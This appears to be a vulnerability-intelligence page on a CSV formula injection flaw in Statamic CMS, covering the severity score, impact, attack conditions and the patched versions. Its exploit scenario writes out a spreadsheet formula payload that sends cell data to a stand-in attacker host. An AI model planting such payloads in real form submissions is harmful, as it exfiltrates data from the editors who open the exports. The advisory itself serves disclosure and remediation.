Statamic CMS CVE-2026-54243
MEDIUM
GHSA-h77m-qrj7-jxcw
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
PR:N reflects unauthenticated form submission delivery; UI:R and S:C model the required editor action and out-of-scope spreadsheet impact; A:N as server availability is unaffected.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
Impact
Form submission values were not neutralized for spreadsheet formula characters when exported to CSV. A submission containing a value beginning with a formula trigger character (e.g. = , + , - , @ ) could be interpreted as a live formula when a Control Panel user opens the export in a spreadsheet application. Form submissions can come from unauthenticated front-end visitors, so the malicious value can be supplied by an anonymous user and is later triggered by an editor opening the export.
Exploitation affects the spreadsheet application used to open the export, not the Statamic application or server; the data at risk is the form submission data the exporting user is already authorized to view.
Patches
This has been fixed in 5.73.24 and 6.20.1.
AnalysisAI
CSV formula injection in Statamic CMS allows an unauthenticated front-end visitor to plant spreadsheet formula payloads via public form submissions that execute when a Control Panel editor exports and opens those submissions in a spreadsheet application. Affected versions span the entire v5 branch below 5.73.24 and v6 branch from 6.0.0 below 6.20.1; vendor-released patches exist for both. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires two sequential conditions: first, a public-facing Statamic form must be accessible to unauthenticated (or any authenticated) front-end visitors - this is the default state for any Statamic site using the Forms feature, requiring no special configuration. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The NVD CVSS 3.1 score of 6.1 (Medium) accurately reflects the structural risk profile. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An anonymous visitor submits a Statamic contact form with a field value such as =HYPERLINK("http://attacker.example/exfil?d="&ENCODEURL(A1),"View") and the payload is stored alongside legitimate submissions. When a Control Panel editor later exports all form submissions to CSV and opens the file in Microsoft Excel, the formula executes silently, issuing a DNS or HTTP request to the attacker-controlled endpoint carrying spreadsheet cell data. … |
| Remediation | The primary remediation is to upgrade Statamic CMS to version 5.73.24 (v5 branch) or 6.20.1 (v6 branch), as confirmed by the vendor advisory at https://github.com/statamic/cms/security/advisories/GHSA-h77m-qrj7-jxcw. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Same technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today